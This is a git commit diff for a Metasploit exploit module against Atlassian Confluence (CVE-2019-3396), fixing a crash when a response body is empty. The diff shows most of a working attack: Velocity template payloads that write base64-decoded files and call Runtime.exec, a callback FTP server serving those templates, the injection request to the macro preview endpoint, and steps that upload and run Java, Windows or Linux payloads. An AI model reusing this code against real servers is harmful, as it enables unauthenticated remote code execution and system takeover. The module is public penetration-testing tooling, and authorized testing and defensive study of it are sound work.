Land #16736, fix confluence_widget_connector crash
This change fixes a bug in the confluence_widget_connector exploit module to prevent it from crashing when the HTTP response body received in the get_java_property method is empty or does not match expected regex.
This commit is contained in:
@@ -11,76 +11,83 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::FtpServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
|
||||
'Description' => %q{
|
||||
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
|
||||
allows embed online videos, slideshows, photostreams and more directly into page.
|
||||
A _template parameter can be used to inject remote Java code into a Velocity template,
|
||||
and gain code execution. Authentication is unrequired to exploit this vulnerability.
|
||||
By default, Java payload will be used because it is cross-platform, but you can also
|
||||
specify which native payload you want (Linux or Windows).
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',
|
||||
'Description' => %q{
|
||||
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
|
||||
allows embed online videos, slideshows, photostreams and more directly into page.
|
||||
A _template parameter can be used to inject remote Java code into a Velocity template,
|
||||
and gain code execution. Authentication is unrequired to exploit this vulnerability.
|
||||
By default, Java payload will be used because it is cross-platform, but you can also
|
||||
specify which native payload you want (Linux or Windows).
|
||||
|
||||
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
|
||||
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
|
||||
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
|
||||
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
|
||||
|
||||
This vulnerability was originally discovered by Daniil Dmitriev
|
||||
https://twitter.com/ddv_ua.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Daniil Dmitriev', # Discovering vulnerability
|
||||
'Dmitry (rrock) Shchannikov' # Metasploit module
|
||||
This vulnerability was originally discovered by Daniil Dmitriev
|
||||
https://twitter.com/ddv_ua.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Daniil Dmitriev', # Discovering vulnerability
|
||||
'Dmitry (rrock) Shchannikov' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
[ 'CVE', '2019-3396' ],
|
||||
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
|
||||
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
|
||||
[ 'URL', 'https://paper.seebug.org/886/']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
|
||||
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
|
||||
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
|
||||
'Targets' => [
|
||||
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
|
||||
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
|
||||
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8090,
|
||||
'SRVPORT' => 8021,
|
||||
'SRVPORT' => 8021
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2019-03-25',
|
||||
'DefaultTarget' => 0,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive
|
||||
))
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2019-03-25',
|
||||
'DefaultTarget' => 0,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('SRVHOST', [true, 'Callback address for template loading']),
|
||||
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
|
||||
OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
|
||||
'https://www.youtube.com/watch?v=kxopViU98Xo'])
|
||||
])
|
||||
OptString.new('TRIGGERURL', [
|
||||
true, 'Url to external video service to trigger vulnerability',
|
||||
'https://www.youtube.com/watch?v=kxopViU98Xo'
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Handles ftp RETP command.
|
||||
#
|
||||
# @param c [Socket] Control connection socket.
|
||||
# @param ccs [Socket] Control connection socket.
|
||||
# @param arg [String] RETR argument.
|
||||
# @return [void]
|
||||
def on_client_command_retr(c, arg)
|
||||
def on_client_command_retr(ccs, arg)
|
||||
vprint_status("FTP download request for #{arg}")
|
||||
conn = establish_data_connection(c)
|
||||
if(not conn)
|
||||
c.put("425 Can't build data connection\r\n")
|
||||
conn = establish_data_connection(ccs)
|
||||
if !conn
|
||||
ccs.put("425 Can't build data connection\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
|
||||
ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n")
|
||||
case arg
|
||||
when /check\.vm$/
|
||||
conn.put(wrap(get_check_vm))
|
||||
@@ -93,83 +100,73 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
else
|
||||
conn.put(wrap(get_dummy_vm))
|
||||
end
|
||||
c.put("226 Transfer complete.\r\n")
|
||||
ccs.put("226 Transfer complete.\r\n")
|
||||
conn.close
|
||||
end
|
||||
|
||||
# Handles ftp PASS command to suppress output.
|
||||
#
|
||||
# @param c [Socket] Control connection socket.
|
||||
# @param ccs [Socket] Control connection socket.
|
||||
# @param arg [String] PASS argument.
|
||||
# @return [void]
|
||||
def on_client_command_pass(c, arg)
|
||||
@state[c][:pass] = arg
|
||||
vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
|
||||
c.put "230 Login OK\r\n"
|
||||
def on_client_command_pass(ccs, arg)
|
||||
@state[ccs][:pass] = arg
|
||||
vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}")
|
||||
ccs.put "230 Login OK\r\n"
|
||||
end
|
||||
|
||||
# Handles ftp EPSV command to suppress output.
|
||||
#
|
||||
# @param c [Socket] Control connection socket.
|
||||
# @param ccs [Socket] Control connection socket.
|
||||
# @param arg [String] EPSV argument.
|
||||
# @return [void]
|
||||
def on_client_command_epsv(c, arg)
|
||||
vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
|
||||
c.put("500 'EPSV #{arg}': command not understood.\r\n")
|
||||
def on_client_command_epsv(ccs, arg)
|
||||
vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'")
|
||||
ccs.put("500 'EPSV #{arg}': command not understood.\r\n")
|
||||
end
|
||||
|
||||
# Returns a upload template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_upload_vm
|
||||
(
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
|
||||
EOF
|
||||
end
|
||||
|
||||
# Returns a command execution template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_exec_vm
|
||||
(
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
|
||||
EOF
|
||||
end
|
||||
|
||||
# Returns checking template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_check_vm
|
||||
(
|
||||
<<~EOF
|
||||
#{@check_text}
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
#{@check_text}
|
||||
EOF
|
||||
end
|
||||
|
||||
# Returns Java's getting property template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_javaprop_vm
|
||||
(
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
|
||||
EOF
|
||||
end
|
||||
|
||||
# Returns dummy template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_dummy_vm
|
||||
(
|
||||
<<~EOF
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
EOF
|
||||
end
|
||||
|
||||
# Checks the vulnerability.
|
||||
@@ -179,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
checkcode = Exploit::CheckCode::Safe
|
||||
begin
|
||||
# Start the FTP service
|
||||
print_status("Starting the FTP server.")
|
||||
print_status('Starting the FTP server.')
|
||||
start_service
|
||||
|
||||
@check_text = Rex::Text.rand_text_alpha(5..10)
|
||||
@@ -198,9 +195,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
#
|
||||
# @param service_url [String] Address of template to injection.
|
||||
# @return [void]
|
||||
def inject_template(service_url, timeout=20)
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
|
||||
def inject_template(service_url, timeout = 20)
|
||||
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
@@ -209,23 +205,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Accept' => '*/*',
|
||||
'Origin' => full_uri(vhost_uri: true)
|
||||
},
|
||||
'ctype' => 'application/json; charset=UTF-8',
|
||||
'data' => {
|
||||
'contentId' => '1',
|
||||
'macro' => {
|
||||
'name' => 'widget',
|
||||
'body' => '',
|
||||
'params' => {
|
||||
'url' => datastore['TRIGGERURL'],
|
||||
'_template' => service_url
|
||||
}
|
||||
'ctype' => 'application/json; charset=UTF-8',
|
||||
'data' => {
|
||||
'contentId' => '1',
|
||||
'macro' => {
|
||||
'name' => 'widget',
|
||||
'body' => '',
|
||||
'params' => {
|
||||
'url' => datastore['TRIGGERURL'],
|
||||
'_template' => service_url
|
||||
}
|
||||
|
||||
}
|
||||
}.to_json
|
||||
}, timeout=timeout)
|
||||
}
|
||||
}.to_json
|
||||
}, timeout)
|
||||
|
||||
unless res
|
||||
unless service_url.include?("exec.vm")
|
||||
unless service_url.include?('exec.vm')
|
||||
print_warning('Connection timed out in #inject_template')
|
||||
end
|
||||
return
|
||||
@@ -234,7 +230,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
if res.body.include? 'widget-error'
|
||||
print_error('Failed to inject and execute code:')
|
||||
else
|
||||
vprint_status("Server response:")
|
||||
vprint_status('Server response:')
|
||||
end
|
||||
|
||||
vprint_line(res.body)
|
||||
@@ -245,14 +241,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# Returns a system property for Java.
|
||||
#
|
||||
# @param prop [String] Name of the property to retrieve.
|
||||
# @return [String]
|
||||
# @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String).
|
||||
def get_java_property(prop)
|
||||
@prop = prop
|
||||
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
|
||||
if res && res.body
|
||||
return clear_response(res.body)
|
||||
if res.body.empty?
|
||||
return [2]
|
||||
else
|
||||
prop_to_return = clear_response(res.body)
|
||||
if prop_to_return.blank?
|
||||
return [2]
|
||||
else
|
||||
return [0, prop_to_return]
|
||||
end
|
||||
end
|
||||
end
|
||||
''
|
||||
[1]
|
||||
end
|
||||
|
||||
# Returns the target platform.
|
||||
@@ -299,7 +304,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# @param new_fname [String] The new file
|
||||
# @return [void]
|
||||
def get_dup_file_code(fname, new_fname)
|
||||
if fname =~ /^\/[[:print:]]+/
|
||||
if fname =~ %r{^/[[:print:]]+}
|
||||
@command = "cp #{fname} #{new_fname}"
|
||||
else
|
||||
@command = "cmd.exe /C copy #{fname} #{new_fname}"
|
||||
@@ -312,8 +317,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
#
|
||||
# @return [String]
|
||||
def normalize_payload_fname(tmp_path, fname)
|
||||
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
|
||||
if /^\/[[:print:]]+/ === tmp_path
|
||||
# A quick way to check platform instead of actually grabbing os.name in Java system properties.
|
||||
if tmp_path =~ %r{^/[[:print:]]+}
|
||||
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
|
||||
else
|
||||
Rex::FileUtils.normalize_win_path(tmp_path, fname)
|
||||
@@ -324,57 +329,55 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
#
|
||||
# @return [void]
|
||||
def exploit_as_java
|
||||
res_code, tmp_path = get_tmp_path
|
||||
|
||||
tmp_path = get_tmp_path
|
||||
|
||||
if tmp_path.blank?
|
||||
unless res_code == 0
|
||||
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||
end
|
||||
|
||||
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
|
||||
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
|
||||
@command = ''
|
||||
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
|
||||
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
|
||||
@command = ''
|
||||
|
||||
java_home = get_java_home_path
|
||||
res_code, java_home = get_java_home_path
|
||||
|
||||
if java_home.blank?
|
||||
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
|
||||
else
|
||||
if res_code == 0
|
||||
vprint_status("Found Java home path: #{java_home}")
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
|
||||
end
|
||||
|
||||
register_files_for_cleanup(@fname)
|
||||
|
||||
if /^\/[[:print:]]+/ === @fname
|
||||
if @fname =~ %r{^/[[:print:]]+}
|
||||
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
|
||||
@command = %Q|#{normalized_java_path} -jar #{@fname}|
|
||||
@command = %(#{normalized_java_path} -jar #{@fname})
|
||||
else
|
||||
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
|
||||
@fname.gsub!(/Program Files/, 'PROGRA~1')
|
||||
@command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|
|
||||
@command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname})
|
||||
end
|
||||
|
||||
print_status("Attempting to upload #{@fname}")
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
|
||||
|
||||
print_status("Attempting to execute #{@fname}")
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
|
||||
end
|
||||
|
||||
|
||||
# Exploits the target in Windows platform.
|
||||
#
|
||||
# @return [void]
|
||||
def exploit_as_windows
|
||||
tmp_path = get_tmp_path
|
||||
res_code, tmp_path = get_tmp_path
|
||||
|
||||
if tmp_path.blank?
|
||||
unless res_code == 0
|
||||
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||
end
|
||||
|
||||
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
|
||||
@fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
|
||||
new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
|
||||
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
|
||||
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
|
||||
new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
|
||||
@fname.gsub!(/Program Files/, 'PROGRA~1')
|
||||
new_fname.gsub!(/Program Files/, 'PROGRA~1')
|
||||
register_files_for_cleanup(@fname, new_fname)
|
||||
@@ -387,22 +390,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
print_status("Attempting to execute #{new_fname}")
|
||||
@command = new_fname
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
|
||||
end
|
||||
|
||||
|
||||
# Exploits the target in Linux platform.
|
||||
#
|
||||
# @return [void]
|
||||
def exploit_as_linux
|
||||
tmp_path = get_tmp_path
|
||||
res_code, tmp_path = get_tmp_path
|
||||
|
||||
if tmp_path.blank?
|
||||
unless res_code == 0
|
||||
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||
end
|
||||
|
||||
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
|
||||
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
|
||||
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
|
||||
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
|
||||
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
|
||||
register_files_for_cleanup(@fname, new_fname)
|
||||
|
||||
@@ -417,21 +419,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
print_status("Attempting to execute #{new_fname}")
|
||||
@command = new_fname
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
|
||||
end
|
||||
|
||||
def exploit
|
||||
@wrap_marker = Rex::Text.rand_text_alpha(5..10)
|
||||
|
||||
# Start the FTP service
|
||||
print_status("Starting the FTP server.")
|
||||
print_status('Starting the FTP server.')
|
||||
start_service
|
||||
|
||||
target_platform = get_target_platform
|
||||
if target_platform.empty?
|
||||
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
|
||||
else
|
||||
res_code, target_platform = get_target_platform
|
||||
case res_code
|
||||
when 0
|
||||
print_status("Target being detected as: #{target_platform}")
|
||||
when 1
|
||||
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
|
||||
when 2
|
||||
fail_with(Failure::NoTarget, 'Failed to obtain the target OS.')
|
||||
end
|
||||
|
||||
unless target_platform_compat?(target_platform)
|
||||
@@ -457,10 +462,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# Returns unwrapped response.
|
||||
#
|
||||
# @return [String]
|
||||
# @return [String, nil]
|
||||
def clear_response(string)
|
||||
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
|
||||
return match.captures[0]
|
||||
end
|
||||
string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user